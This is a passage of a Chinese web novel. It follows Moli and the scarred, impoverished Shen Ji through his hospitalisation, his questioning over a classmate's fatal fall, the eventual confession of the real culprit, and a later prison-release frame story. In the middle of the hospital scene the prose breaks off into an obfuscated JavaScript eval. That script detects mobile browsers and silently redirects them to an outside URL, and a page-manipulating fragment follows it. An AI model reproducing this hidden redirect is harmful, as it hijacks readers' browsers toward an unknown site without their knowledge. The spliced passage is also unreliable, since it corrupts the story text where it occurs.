抱着听写本回了班,本该围着小团体的座位空空如也。群龙无首,那两个女生今天没再使唤谁,各自坐在位置上翻课外书。 何婧和沈悸都不在,茉莉的右眼皮跳了跳。 她无心说的话,两条莫名的语音留言。 一种不好的预感涌上心头。 周二,沈悸没来。 周二最后一节课是政治。 政治老师正在台上讲着课。 “……学生们应该重视法律基础知识,如宪法、民法、刑法等基本法律的知识。” 同桌的男生在台下玩着贪吃蛇,满头大汗的和新纪录硬碰硬。 玩的实在太投入,一声清脆的提示音响起,男生吓得手忙脚乱,手机砸在了地上。 老师正要发作,下课铃不适宜地响起,伴随铃声而来的,还有面色凝重的班主任,“打断一下……” 官大一级压死人,政治老师只能收着脾气凑过去,听完话,她倏地瞪大了眼睛,嘴里念叨:“怎么还有这种事情……” 同学们面面相觑,完全不知道发生了什么。 茉莉小声提醒同桌:“趁现在快点捡手机。” “多谢姑娘提醒!”同桌油腔舌调地抱拳,俩手指够着手机,“捡起来了。” 屏幕上是大写的gameover,男生心疼的无以言复时还不忘打开静音,心里一边暗骂着哪个畜生给他发消息扰他好梦,一边点开了社交软件。 2g网不断转着圈,等了半晌,平时一直无人的学校群被顶到了最高处。 翻到最高处,他也不敢置信地瞪大了眼睛,手拍着隔壁的茉莉:“快、快过来看!” 同桌的手没轻没重地打在茉莉还未完全愈合的肩伤上,茉莉蹙着眉,不太高兴道:“看什么?” 借着平时同桌的品行,估计也就是点没边的小八卦,她没想仔细看,敷衍地瞅了一眼,在意的字眼却锁住她的瞳孔,始终无法挪开。 【^-^睡觉】:帽子叔叔来学校了,听说在调查什么案子。 案子? 她夺过手机想看看是什么案子,但这个网名叫睡觉的人只知道头不知道尾,这句话一出,在线的人全都冒出来激烈猜测。 【哥只是传说、】:是高三那群混子打架吗,打挺狠的,好像给谁胳膊打折了。 【\糖果甜到忧伤\】:我家就在学校旁边,听邻居说遭偷东西了,估计怀疑是学校的人干的? 【不&良&少&年】:不对,应该是闹鬼了! 【恋恋】:闹鬼? 【不&良&少&年】:乡里里那个废弃的破庙知道不,在山顶那个!有人半夜在那看见鬼了,说有女鬼在上面飘荡,然后从上面一跃而下,跳进河里了! 【西*瓜】:然后呢! 【不&良&少&年】:肯定吓得要死啊,可是那人第二天去看,河里啥也没有。 …… 越看越离谱,鬼故事都扯上来了。 群里全都是一些谬论,看了一会,茉莉把手机还给了同桌:“不好意思,刚才好奇过头了。” 男生摆摆手:“没事没事。” 自己吓自己。她安抚着自己不安的心,想着明天见到沈悸时问清楚他最近到底在干嘛。 周三,周四,沈悸不在。 一连五天,茉莉都没见到沈悸。 她越发害怕,一放学就略过混杂的人群,循着脑海中的路线往里扎。 可惜,沈悸家门紧闭,连光都没有开,他不在。 她担心的睡不着,甚至想着周一见不到就报警。 难以入睡的一晚过去,周六清早时,有人叩响了她家院子的门。 她还在洗漱,是茉双季开的门。 “是沈悸啊……” 水声嘈杂,她却听清了茉双季喃喃的话,挂着未擦干的水珠打开了窗户。 门外,少年瘦削的身影伫立着,略显苍白的脸上憔悴分明。 他没看茉莉,对着茉双季直直弯腰:“对不起叔叔,给您添麻烦了。” 茉双季清楚他是在为江复春找麻烦的那件事道歉,苦涩而又无奈道:“没事的孩子。” “有事。”沈悸倔强地反驳,从背包里拿出一个厚厚的牛皮信封,执拗地塞进茉双季的手里,“这些是我从别处打工挣得,不多,但能抵上她要的那些。” “这、这……” “就这样。” 说完,他调头就走,不给任何退还的机会。 茉莉心头一跳,随手拿上外套胡乱一披就追了上去。 她从来没有跑的那么快过,一气追进陌生的巷子,恰时赶上集市,行人成群,叫卖声不绝于耳,她穿梭在如流的行人中,目光如翻飞的海浪在人群里汹涌澎湃,却还是找不到沈悸的身影。 她不死心地往里钻,期望在哪里看到沈悸。 这里有许多等待工事的纤夫,她喊住一个纤夫,正打算询问有关沈悸的下落,却不期然听见旁侧别人的惊呼: “——这怎么倒了一个人?” 她闻声看去。 “沈悸!”她扑到沈悸身边,看到了他泛着异常红色的脸和痛苦抽动的身体,“你怎么样!” “……嗯……”沈悸模糊地闷哼了一声,眉间紧紧蹙起,冷汗浸湿了鬓边。 伸手探了探,烫,很烫,烫的炙手。 她把脸紧贴对方的,试图用微凉的脸降温。 不行,不够。必须得送去医院。 附近只有一个小诊所,送到那边也行,起码先挂水,先退烧。 他嘴里喃喃:“冷、冷……” “我在这,你别怕。” 她抱着沈悸想把他扶起来,可力气太小,只是她自己根本无法送他去诊所。 她求助似的看向周围,那个最开始发现沈悸的中年男人注意到她的无助,上前两步说:“你是老茉家的娃吧,走,我送你!” “谢谢、谢谢!”似乎是爸爸的熟人,她不断道谢,撑着沈悸的一边肩把他扶到了男人的板车上,自己也跟了上去,用外套裹住沈悸,尝试给他输送温度。 一路颠簸,男人将他们送到了诊所前,背着沈悸就往里冲,一边喊着:“医生,这有个孩子发烧晕过去了。” 坐在桌子里的医生正在下处方单,头也没抬地拿出一个浸在冷水里的体温计:“找个位置躺下,先测温。” 男人把沈悸放置在病床上,把体温计给了茉莉,说:“给,娃儿,先量着,我去停下板车。” 茉莉接过温度计甩了甩,低声说:“失礼一下。”而后拉开了沈悸的外套。 随着拉链滑落的声音,内里的短袖内衬露了出来。 在这已然降温的天,他只穿了一件短袖在内,外套没有任何防寒措施,跟春夏的防晒衣一样。 舍不得给自己买衣服的混蛋。茉莉恼着,伸手要把袖子撸起放体温计—— 然而。 手摸到了什么湿润,黏腻、崎岖的区域。 眉心一跳,她扒开了全部的外套。 外套下,两条胳膊被绷带绑的完全,最上边打结的部分却松垮了一截,几道红肿的伤口暴露在外,很长,像是被什么鞭打留下的。 去掉绷带,两条全是鞭痕的手臂露了出来。 她再也顾不得什么授受不亲,直接掀起了沈悸的衣服—— 白皙的身上,有一条缝合的伤口。 一点不像专业医师缝合的,倒像是他自己做的。 抓着衣服的手不住发颤,茉莉感到眼睛干涩,却依旧眨也不眨地看着。 “——别看……” 轻到无息的声音响起,沈悸覆住了她的眼睛。 他好不容易恢复了一丝清醒,但只坚持了一瞬,就又陷入了病痛的昏迷之中。 完全清醒时,已经是第二天的傍晚。 迷蒙的眼睁开,映入眼帘的不是村里小诊所的发霉天花板,而是涂刷干净的白和倒挂的药液。 他还有些发懵,看向窗外姜黄色的天,不知道自己是在梦里还是现实。 “……他身上的感染很严重,还有很多旧伤并发。” 门外迷迷糊糊地传来只言片语。 身上的痛缓和了不少,他嘤咛着起身,身下的软让他有些诧异。 低头,他注意到身上的蓝白条病号服和手腕上的住院手环,这才意识到自己在医院里。 他拧紧了眉,此时病房的门被打开,门外传来声音:“你醒了?” 不用看就知道是谁,沈悸没理,拔了针就披衣要下床。 茉莉拎着饭盒跑到病床前,双手摁住沈悸:“你要去哪?” “与你无关。”他压着嗓音,一根一根掰着茉莉的手指。 “那先吃饭吧。”茉莉知道与他比不了力气,于是坐在木凳子上端起饭盒。 他冷冷地勾起唇角,试图找到自己曾身在高位的倨傲。 “吃什么吃?你不如先关心你自己。” “今天的菜是麻婆豆腐和小炒肉,应该有你爱吃的吧?” “你知道来次医院要多少天的工钱吗,你知道我该多努力才能挣到吗,温室里的花同情野外的狗尾巴草?这只会让我觉得你很伪善很恶心。” “饭够吗,我按照上次在你家吃饭时的一碗半装的。” “死了就死了,谁会在乎我在哪,贱命一条就该死在那张钱上!” “伤还痛吗,我来喂你也可以。” 一个白色柔软的东西砸在了脸上。 枕头砸在身上不痛不痒,连直挺的腰板也没有动摇分毫。 像把剩余的自尊亲手摔碎,把胆怯的那面展露了出来。 “我说你听不懂话吗! “滚出去!滚啊! “谁要你的同情,谁稀罕你的帮助! “还不懂吗,你是被那张模仿沈南风的面具骗了,老子根本就不是那有教养的种!” 他大吼着,如同受伤的幼兽,浑身都在颤抖。 他怕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200828|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他真的怕自己那不值一提的高傲毁在茉莉面前。 他知道江复春去刁难,于是放下脸面去请求债主暂时归还自己的户口本。 要到了,他生生挨了十鞭子抵换的。 他除了这具身体,再也没有别的可以置换。 他连夜步行到一个无人认识他的工地打工,每天天不亮就开工,饿了就啃两口馒头应急,再累再脏的活都情愿去干。 他怕凑不上钱,几乎不眠不休地找着工干,没地方住,他就随便铺个外套睡在工地外面。又怕谁谁再去找麻烦,每隔两日就又走回小泽村,偷偷关心那个讨厌自己的少女。 他最崩溃的,却是那天无心看到的画面——与沈南风站在一起的茉莉。 那本也是他该拥有的。 他却只能像蟑螂一样活着,偷窥着他得不到的生活。 身上的鞭伤愈发疼痛,他不舍得花钱,随便卷了卷就又去干活,觉得忍忍就过去了,那些难捱的夜,他也都这样过来的。 好不容易才凑满了钱,他忍着发烧的头晕目眩和满身的重,难得奢侈的坐了车回去交还精神和心理上的负罪,怎么能不争气的昏倒,再多一个人情呢。 这次,他又该还多少? 像是个恶行循环,从头就开始错。 而他几乎陷了进去,居然还贪恋那不该存在在他世界里的好。 简直,糟透了。 他在疯狂的自我否定,几厘之距,茉莉依旧坐的端正,手里捧着发烫的饭盒。 她拧开饭盒,热气之中,她的脸影影绰绰。 “累了吗?”她说,“吃饭吧。” 她不受他负面的干扰,一双眸始终清亮,温温柔柔地厘清他被缠身的阴暗。 不知何时,他成了那个失控的存在。 突然,全身的力气就像被抽走了一般,全身轻飘飘的,只能靠在枕头上。 沈悸闭上了眼睛—— “我的疤,”他用着微不可察的声音说,“想摸吗?” 说完之后,他才反应过来自己的蠢。 招笑呢,他在问什么明知故问的事情。 那些疤恶心的要命,连他自己都嫌弃,问出来是要羞辱自己吗。 “算了,我刚醒不清……” 胳膊上,有一只细软的小手在上下抚摸。 动作很轻很柔,似乎在害怕他会疼痛。 他怔愣地看着,看着,少女垂着眼,眸里蕴着抚慰的清泉,一点点把干裂的伤口填平,再看着、看着,她用手拂过绝望累积成的增生,说: “好酷。” 她还在摩挲, 她说:“像纹身,应该叫‘花臂’吗?” 连沈悸都始料未及的联想。他不忍地发笑,觉得蠢,蠢的那么可爱。 纹身哪有那么丑的,还全部都毁皮了,是他就把纹身师暴揍一顿。 刚要笑,他想起了什么,抽回了胳膊。 “喂。”他眸底藏着悲怆,笑的苦涩,“认得清楚吗,我可是沈悸。” 是沈悸,不是伪装的沈南风。 “认得清楚。” 茉莉看着他的疤,声音潺潺:“这是属于沈悸的,是沈南风没有的。” 从此以后,他身上的疤有了寓意。 是属于沈悸的独家标志,他活着的证明。 要了命了。 差点就要克制不住的手紧攥被单,他头一次,有了想要倾诉的欲望。 “茉莉。”他成了这场独白的主角,“最初,我的确想毁掉你。 “我伪装的很好,在学校,所有人都以为我是沈家的完美孩子。 “那夜意外碰到你,我慌了,害怕你扯烂我的人模狗样,暴露我厌恶的脆弱,所以,我满脑只剩下那龌龊的想法,想着把你一起拉入深渊,跟我一起烂掉好了。 “臭巷出生的孩子要么早死,要么学会坑蒙拐骗走上歪路,无一例外。 “‘饿了穷了就去骗去偷,’这是母亲教会我的第一课。讽刺的事,我天生擅长扮演混蛋,而她说,她爱这样的我。” 囫囵的生活控制着他失去自我。破损的末班车驶向永不白夜的尽头。 乘客只有他一人,不管去哪里,都没有人在意。 根本没人在乎他。甚至,母亲还想卖他去变态那边换钱。 “茉莉,”他又一次唤她的名,声音夹带疲倦和迷茫,“教教我,什么是爱。 “教教我吧……” 他的语速越发缓慢,轻颤的睫毛藏不住他的悲伤。 茉莉凝视着他,烫红的手终于放下了饭盒。 “像你这样没有心的人,凭什么让人教你爱?” 像是穿过阴霾的一道弯曲雷电。 “即使是现在这样,你还任性的要把自己的负面强加于人。沈悸,你真的很讨厌,很烦人。”她不管他的消耗和颓废,捧起他的脸,细细的眉皱的很紧,“可你要是就在这服软,才不像你混账的模样。” 少女的脸蓦然放大在眼前,眸中映出自己略显慌乱的脸,“你的那些底气呢,欺负我的本事呢?丢哪里去了,有本事你让他们也恨你啊。” “算了,你烂死在泥里吧。”她毫不客气地撒开手,对他比了个中指,“我懒得对付一个没有反抗能力的人。” 她故作不在意,心脏却一直在揪痛。 话难听的要命。她知道。 明明不想管他的,可怎么也控制不好思绪和身体,偏要那个心高气傲的少年振作起来,再亲手熄灭他的目中无人。 “你……”刚要开口,一勺饭堵住了他的嘴。 “……吃掉饭再来反驳我。”少女心烦意乱,错开脸,耳廓热热的,“还说我,你也跟杆子差不多了。” 病房陷入安静,又陷入不知名状的悸动中。 于是,在那天,那个从未感受过温度的少年感受到了炙热。 像拨开雨云后一丝阳光的热。 他头一次生了想把谁扼在怀里,只让对方看着他的想法。 卑劣,肆意,放纵。 想法却戛然在打开的门。 房里的两人回神看去。门外,站着一个模样冷峻的青年。 他问了一句:“是沈悸的病房吧?” “是,请问你是?”茉莉问。 青年往里看了一眼,视线停在沈悸身上。 “我是刑警队刑警张峰,这是我的证件。” “现以调查何婧坠楼事件对沈悸提起嫌疑,需要进行询问,请配合我走一趟。” 他亮着证件,话里是不容置疑的威压。 而至此,回忆结束。 梦醒了。 17. 醒来 茉莉是被惊醒的。 她从沙发上挣扎着起身,窗还是开着的,白昼破开地平线,天色被晕染成了淡淡的灰。 她似乎在沙发上睡着了,晨风带着凉意,她却出了一身的汗,濡湿了身上的新衣。 她做了个很长很长的梦,梦里,她似乎回到了过去,回到了刚遇到沈悸的那一年。 缓和了一会,她赤着脚走到卫生间洗漱,洗完脸,她走到厨房想做些吃的。 或许是怕她已经许久没开灶,戚玖准备了许多速食产品在冰箱里,只需要放在微波炉里加热即可。 她随手捡了个饭团加热——三年的牢狱生活让她的食欲减退,只要管饱,哪怕清水煮白菜都能下肚。 饭团在微波炉里转圈,茉莉盯得发呆,外面,手机的电话铃声响起,把她喊回了现实。 她有些忘了手机放在哪,找了一圈之后才发现手机被压在沙发靠枕底下。拿起手机,唯一署名的联系人显示来电。 “喂?” “啊,茉莉,醒了吗,有没有打扰你?” “没有,我早就醒了,现在在热吃的。” “那就行,对了,今天我也请了半天的假,你要不要去洑水县看看?” 听到许久未提及的家乡,茉莉的眼睛亮了亮,但很快,那一刹那的亮就黯淡下去。 她还有资格回去吗? “我……” “就这样说定了,我二十分钟后来接你。” 还没等她拒绝,戚玖不容反驳地撇下话,然后挂断了电话。 电话里传来嘟嘟的声音。 茉莉知道,他早料到自己会拒绝,所以才会这样。 他很会洞悉人心,从前被戳破心思时,茉莉就害怕跟他独处,简直就像毫无遮拦的暴露在人前。 说起来,她跟戚玖似乎也认识了六年有余。 可惜她一个罪犯,又如何能跟一个根正苗红的警察庆祝六年相识呢。 她又开始发呆,直到门铃摁响时才回过神。 二十分钟到了吗?她有点纳闷,自己的放空状态似乎越来越严重了。 打开门,褐色卷发的男人站在外面,他依旧穿着风衣,变了的只是脸上多出的眼镜框。 “早。”他道着早安,双手却背在身后,似乎在藏匿着什么。 茉莉注意到他的小动作,侧眸看到他身后露出的小半提袋,无奈道:“你都露出来了,好了,坦白从宽。” 戚玖沮丧地瘪了嘴:“唉,还想给你个惊喜,结果被发现的那么快……”他把藏在身后的提袋露了出来,“来,小东西,看看你的新主人漂不漂亮?” 那是个猫包,包包里,一只全黑的小猫睁着金黄圆溜的大眼睛好奇地看着外面。 戚玖把小猫捞了出来,抱在怀里凑近茉莉,兴冲冲道:“快摸摸它,可软了。” 茉莉反应慢,也不知道该如何下手,就这样,她跟小黑猫团竟就这么你看我我看你的互相僵持。 小黑猫团糯乎乎地喵了一声,伸出粉嫩嫩的爪子——摁在她的鼻子上。 !! 好软! “噗哈哈哈~”戚玖没忍住笑出了声,总算是打破了些僵持和尴尬,“什么嘛,最后还得小猫去摸你啊。” 茉莉干干地扯着嘴角:“哈哈……先进来吧,把小猫安置好再走。” 两人走进房子,小猫也被放了下来。 这小东西胆子还是挺大的,处在陌生环境里没一会就开始乱跑乱跳,一点也不害怕。 “这小猫……?” “祝贺你重获新生,所以要有个新生活的搭子呀。哦,我问过房东了,这里可以养宠物,只要不损坏东西就好。”戚玖蹲在地上处理宠物用品,镜片下的眼睛弯弯的,“以后我不在,就让它陪伴你好了。” 茉莉微微怔愕,垂在身侧的左手紧握住右手腕,一种难以形容的感觉袭入五感。 戚玖真的很在乎出狱后她的感受。 知道她会敏感不安,所以把房子布置成了暖色调,生怕她会孤单寂寞,所以带了一只活泼可爱的小猫。 他过分照顾她,反而让她多出了一分不该有的负罪。 她回报不了他的好,甚至不配回应他的感情。 她会成为戚玖白色人生中的一记黑色污点。 想着想着,她又开始不自主地咬唇——这是她不安时候的表现,因为经常咬嘴,她的嘴唇内侧长了一个白色的泡,怎么都无法消除。 注意到茉莉的表现,戚玖垂眸,轻轻摇了摇头:“好了,你不要有任何负担。这一切都是我自愿付出的,我真的不需要你任何的回应。” 说完,他拍拍衣服起身,摸了摸茉莉的头。 “走吧,去看看洑水县吧。”他依旧笑着,笑的如阳光和煦,“对了,你父亲的骨灰被安置在了洑水区殡葬馆里,你可以去下属墓园里选一块地刻碑……” “——他也葬在那边吧。” 本无神的黑眸突然燃起了一小簇的焰,她看着戚玖,红唇不自主地说:“我记得,你给我写的信里写过。” 戚玖愣了,旋即他低下头去,试图藏住眼里的落寞:“是。” “……我想去看看他。好吗?”茉莉小声地请求着,目光闪烁着,偷偷观察戚玖的表情。 到底还是听见了他最不想要听见的请求。 那个荼毒她六年之久的男人,凭什么能被受害者悼念。 良久,他还是应了:“好,我带你去看。对了,我借用下厨房,来得太及,还没吃早餐。”他难掩失落,寻着借口进了厨房。 他打开冰箱拿了个饭团准备加热,而微波炉里,停着一个不凉不热的饭团。 像他,好不容易被想起加热的心,随时都可能被无心者遗忘。 车子一路上了高速,朝着南边靠近。 他们默契地没有找对方闲聊,心照不宣地,一起想到了过去。 初见戚玖时,是在沈悸的病房。 她依旧清楚的记得那个长相温和,但却意外严肃的年轻警察。 直到现在她都难以想象,她会和戚玖牵连那么深,到最后,成为戚玖手上最致命的剑,成了沈悸最难抹去的软肋。 他们来到了洑水县——也就是现在的洑水区。 经过几年的变迁,洑水县已然完全变了样,曾经熟悉的 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茉莉跪在干净的石碑前,重重地磕了三个头。 爸爸,请你在另个世界好好生活。 不要……再找她这样的人做女儿了。 站起身,一个阴影从头顶笼罩了过来。 “别着凉了。”戚玖撑着伞默默说道。 茉莉接过伞,习惯性道谢。 她张嘴,话到了嘴边又止回喉头。反复两次,戚玖明白了她的意思,撤步走出雨伞,朝墓园外走去。 “我在车上等你。” 茉莉欲言又止,最后放弃了辩解,往反方向迈步。 她找了很久,最后在一个几乎看不着的角落里,看到了那个人的墓碑。 意外的,墓碑前很干净,似乎有人经常来打扫。 是戚玖吧,虽然嘴上说着讨厌,但他已经是这世上为数不多记得沈悸的人了。 她站在碑前,看着那张已看不清脸的照片出神。 “沈悸。”她喊出了那个许久未念的,有些生疏的名字,“我来看你了。” “真可惜,我什么都没带,也不在昨天来,模样还很难看,换做从前,你应该要气得把我关起来。” “但我自由了……不,准确说,我从未自由,我早已经死在你给我搭建的牢笼里,腐败殆尽了。” “你赢了。” 赢在她今生今世,都无法忘却他。 她蹲在石碑前,将紧攥很久的戒指放在了墓前。 那是她从未戴过的婚戒。 “还给你。” 还你所有的爱恨,和年少无知时的那份悸动。 凉风刮起她飘飞的发,也吹乱了她的思绪。 她依稀记得,多年前的今天,沈悸因为何婧坠楼的案子被警察带走。 从那次以后,一切都变了,所有的崩乱,好像就是从那里开始。 她心中那片净土,彻底被沈悸污浊腐蚀成了冥河。 扼住喉脖,不让她发出任何声响。 18. 消散 那句在群里的灵异故事成了真。 那坠楼的女鬼,是何婧,有人发短信约她周六九点半点在破庙见面,九点四十多左右,何婧被人从庙顶推下,正巧被路过的村民看见,报了警,但依旧抢救失败死亡。 而发那条短信的号码,机主是沈悸。 因为沈悸被当作嫌疑人,随时都要接受传讯,这件事很快传遍了整个学校,一时间,全校的人议论纷纷。 那段时间,沈悸被当成了人见人嫌的对象,所有人都避之不及,觉得他就是凶手。 沈悸未走进班里时,还能听见班内嘈杂的议论声。刚踏入教室,议论声戛然而止,所有人的目光齐齐扎在门口,他的身上。 他背着书包走向自己的座位,短短一段路,桌椅挪动的声音格外刺耳,猜疑和唾弃的视线如麦芒,刺入他的后背。 有人故意扔了一团纸团过去,直直砸在沈悸的头上。 “哎呦,不好意思,脱手了。”他笑嘻嘻地摸了摸头,眼里都是玩味。 他毫无反应地坐下,照旧拿出作业,课本,笔记,端正地坐着,预习接下来的功课。 他似乎一点也不把周围的变化放在眼里。 即使,课桌里塞满垃圾,作业笔记被写满“杀人犯”的字眼,甚至被人故意泼了一身的墨水。 他也只是不说话的把衣服掸了掸,而后,一拳砸在了对方的脸上。 随后,他被一群人撕扯,本就未恢复过来的身子孱弱,抵不住那么多人的攻势,只能被人控制住,生挨了一顿打。 茉莉知道这件事时,铁质楼梯扶手的凉意透过掌心往心头中钻。隔着一墙的距离,肇事者裹挟着快意的笑声在楼道间被无限放大。 “垃圾就该在垃圾桶里待着。” 肇事者以为自己替天行道,张扬地炫耀,生怕无人知晓。 她一刻不敢耽搁,急切又踉跄地往上方跑去。步调太快,她重重磕在台阶上,膝盖青紫也浑然不觉,一心只想着仓库中的沈悸。 顶楼的风很大,仓库门被人恶意地用扫把卡住,可里面的人却没有半分反抗的意思,安安静静的,像没有人一样。 她连喘息都来不及,直直扑向锈迹斑斑的大门:“沈悸!我来了,你在吗!” 没有回应,像跌入了死寂。 她拔掉卡住的扫把,用力地推开沉重的铁门,生锈的门轴发出难听的吱嘎声。 借着一缕光,她看见缝隙中,那个坐在一片杂物中不语不声的少年。 他全身都是脏的,染满干涸的红和黑,苍白的脸上依旧带着伤,总是没有好的那天。 他像一具被抽干灵魂的空壳,听不见看不见,只会蜷缩着坐在地上。 茉莉站在门口,眼睛酸涩的发胀,不敢眨眼,只能使劲地睁着,怕下一秒就要掉眼泪。 她不敢接近,也不敢相信那是沈悸。 怎么会呢,沈悸何时是那样脆弱的人,他是个坏东西,他绝对不可能把自己脆弱的地方展露出来的。 可偏偏那就是沈悸。 老天不愿留那最后一片净土,连学校这能短暂逃避现实的庇护所都要收回。 她缓缓地挪着发颤的步子,生怕动静太大弄碎那宛若瓷片的少年。 她蹲在沈悸身边,拿出纸巾,想要擦除沈悸脸上的脏污。 沈悸抓住了她的手。 “做什么。” “擦一擦。” “那衣服呢。” “跟我换。” “那伤呢,你说可以包扎?那名声呢?”他漆黑黯淡的眸无神地看着茉莉,黑发上满是反光的浮尘,“告诉我,名声怎么办,未来怎么办。” “我想为你报仇的。”他痛苦地拧紧眉,重重地撞在身后的墙上,“可我真的不记得了,那个短信,还有何婧,我真的不知道是不是我做的……” “沈……” “我没想要她的命,但怎么回忆都是模糊的……根本没有办法证明什么。如果,我真是凶手呢?”他打断她的,机械般地又重复了一遍,“如果,我真是凶手呢……” 他喃喃自语,无助地看着指尖:“你会信我吗。” “我觉得,你不会信。”他勾出一抹惨淡的笑,“因为,你见过我残暴的模样,你信我会成为一个刽子手。” 视线外围突出了一角白色,纸的柔软触感出现在嘴角,“你最好别是。” 少女一点也不温柔,用力地蹭着他脸上的黑墨:“你要是凶手,我就是那个唆使者,我才不要跟你一起进监狱。” “我一点也不会感激你,还会骂你是个自私透顶的小人,明明连累别人却还说着为你好。好个屁。”她难得说了句粗话,注意到少年微簇的眉,她手里的动作变轻了些许,嘟囔道,“痛死你算了。” 擦完了,她把沈悸扶起,一高一矮两个身影,搀扶着,在顶楼的天台待了一上午。 那日之后,案件引来了反转。 有监控证明,沈悸在周六晚上时在洑水县上,那部涉事的手机也没在家中发现。虽然他并不记得,但时间和丢失的手机足以抵消他的嫌疑。 又是一周过去,凶手自首了。 凶手是一个任何人都想不到的人,那个消失许久的安心。 听说,她是因为家里欠了何婧家一笔钱,被迫成为她的跟班,整日被欺凌,父母又总被何婧和她家里的人打压,后来更是被何婧扒光了衣服,当众拍了照片。 极度压迫之下,她才被逼到了这个地步。 她知道沈悸和何婧有过节,于是想嫁祸给沈悸,偷了他的手机发了那条短信,于庙顶把她推下。 真相出来时,所有人都意想不到。 但茉莉知道,她是因为想对自己通风报信才被何婧羞辱。 而羞辱她的混混,又是沈悸指来的。 虽然,一切都跟她和沈悸毫无关系,那些混混也只是沈悸叫去恐吓的,料谁也没想到,何婧竟可以恶劣成那样,为了自保,宁愿让一个女孩子失去清白。 安心被捕,最后,这一切成了悲剧的收场。 学校的风言风语突然峰回路转,那些曾施以恶意的同学变得尴尬,带头的男生道了歉,事情就那么淡了下去,大家依旧为了学习而忙碌。 自那之后,一起上学成了他们的习惯。 早六点,包子铺旁的悬铃木下,他们会在那里碰头。 照旧是一个晨雾未散的早上,沈悸走在身边,手里捧着语文书,边读边问问:“昨天数学卷子的错题记了吗?” 提到数学错题本,茉莉突然想到什么,嘴里咀嚼的包子都没咽下,就急急叫出声:“完蛋了!” “怎么了?” 她连忙从包里翻拉,从里翻出一张皱皱巴巴的海报,撇着嘴道:“都忘记告诉你了,今天最后一天报名。” 沈悸看了一眼:“数学竞赛?” 茉莉点点头,认真地说道:“你一定要报名参加!要是能在竞赛中获得优胜,你就能保送大学,彻底摆脱……”她突然意识到不对,小心翼翼地看了沈悸一眼,没有把“你妈妈”几个字说出口。 沈悸垂眼盯着破旧的帆布鞋,笑了一声:“你觉得我这种档案袋里塞满自辩书的人,还有机会去比赛吗?” “他们不会让一个毁了学校面子的人去的,即使我什么都没做。”他苦涩地说着,视线又挪回了海报上。 看到他反复摩挲着海报的模样,茉莉眸光闪动,忽的,她有了个大胆的想法。 她抿着嘴巴微笑,指尖把海报拉下,眼中亮晶晶的:“沈悸,我们偷偷报名吧。” 沈悸不解,她拢着双手,凑近少年的侧耳,悄悄地和他计划了一个局。 那是一个幼稚到可笑的计划,沈悸完全没想明白茉莉的脑袋里究竟装了什么,他也没想明白,自己居然还真的还去实行了。 ? 沈悸插着兜走到办公室门口,对面,茉莉抱了一堆课本,猫在另一扇门外观察着里面的情况。 看到茉莉比了个大拇指,他一阵失笑,叹息着走进去。 真是疯了,脑筋搭错了才会来。 竞赛报名的事务由年级主任负责,主任的办公桌在最里,他阔步走到桌边,轻声道:“老师好,我想报名竞赛。” 声音不大,但在安静的办公室里能被清晰的放大,其余老师抬了抬头,见到是沈悸后,又惋惜地低下头继续忙碌。 主任是个上了年纪的女性,她停住手里的笔,上下打量了下沈悸,语气不善:“何婧坠楼案刚结束两周,之前还有你月考作弊的事情,近日你又总无故缺席,你觉得学校如何保证你不出幺蛾子?” 站在办公室里,听着老师说那些他早就预料到的话,沈悸心里烦躁,但还是态度谦卑地迎合着,袒露真诚。 余光内,一个小小的身影偷摸着进了办公室,鬼鬼祟祟的,怎么看怎么不怀好意。 然后,随着一阵书本掉落的闷响,主任的目光越过沈悸看向了声响处,不耐道:“怎么回事?” “不好意思老师,我来报名的。”茉莉故作手忙脚乱地收拾地上的课本作业,歉意地低头,“我忘了今天是最后一天,作业都没交完就来了,太急了,胳膊肘一拐就把老师的教案弄地上了。对不起,我来复位。” 教导主任揉了揉太阳穴,无奈地抬手摆了摆:“下次做事稳重点,赶紧交完报名表回去上课吧。” “好的。”茉莉用力点头,蹲下身,收拾散乱的地面。 被桌子挡住的少女在下窸窸窣窣地“收拾教案”。 趁着所有人不注意,半截白皙的小手将写着“高一(3)班沈悸”的报名表快速塞进了文件堆?。 可惜文件堆实在离的太近,那纸张的声响还是引起了主任的注意。 眼看主任要转头,他眯了眯眼,心里还在吐槽茉莉,但嘴巴却动了起来:“老师,我真的很需要这一次机会。” 他还是帮着茉莉拖住了主任,最后,报名表成功混入其中,算是报名成功。 沈悸走出办公室,身旁,茉莉得意地扬起下巴,自豪地撅嘴:“哼,谁说蠢了,这不是成了吗。” “后面要不是我拖住,你觉得能成?”沈悸斜了她一眼,不懂她的自豪从何而来,“还有,你确定主任不会再查一遍报名表?” “不会的,那么一摞呢,你不是没看到,她那大忙人怎么有空查。”她笃定地抬起脸,腮帮微微鼓起,弯月般的眸里映出自己的模样。 恰时风吹过树梢,细碎的阳光透过枝叶,在她的乌发上投下一片金色跃动的光斑。风儿将她的发丝吹乱,卷挟着若有若无的清香掠过沈悸的侧脸。 他喉结滚动着,咽下那即将漫出的心跳声。 连阳光都流连,一视同仁地照亮了本该在阴影处的他。 “茉莉,你有什么梦想吗?”他问。 “我啊……”茉莉认真的想了想,“去大城市上学,然后,想帮像你一样的,没有感受世界的人看到未来。” 茉莉笑的很傻,可沈悸却觉得,那天的她格外的漂亮。 光斑掉入她的瞳孔中,晕开琥珀色的一片。她轻颤着睫毛,唇边梨涡浅浅:“沈悸,你要做自己,你一定要逃出去。” 他也忍不住笑,应说:“好。” 或许这次老天终于眷顾了他一次,这次报名没有东窗事发,他顺利收到了来自主办方寄来的参赛证和信件,并通知竞赛将在下周进行。 日子一天天过去,数学竞赛的日子越来越近。 天气也一天天的变凉,茉莉特意织了一条围巾,打算在竞赛当天送给沈悸。 围巾是她特意选的白色毛线,尾部绣了一朵茉莉花,别致又特别,不会跟人重幅。 竞赛前晚,茉莉特地定了个大早的闹钟,第二天天没亮就跑去包子铺门口等早餐。 包子铺的老板刚盖上笼屉,隔着氤氲的水雾看见茉莉黑漆漆的身影,吓了一跳:“哦呦,吓我一跳,今天那么早啊。” 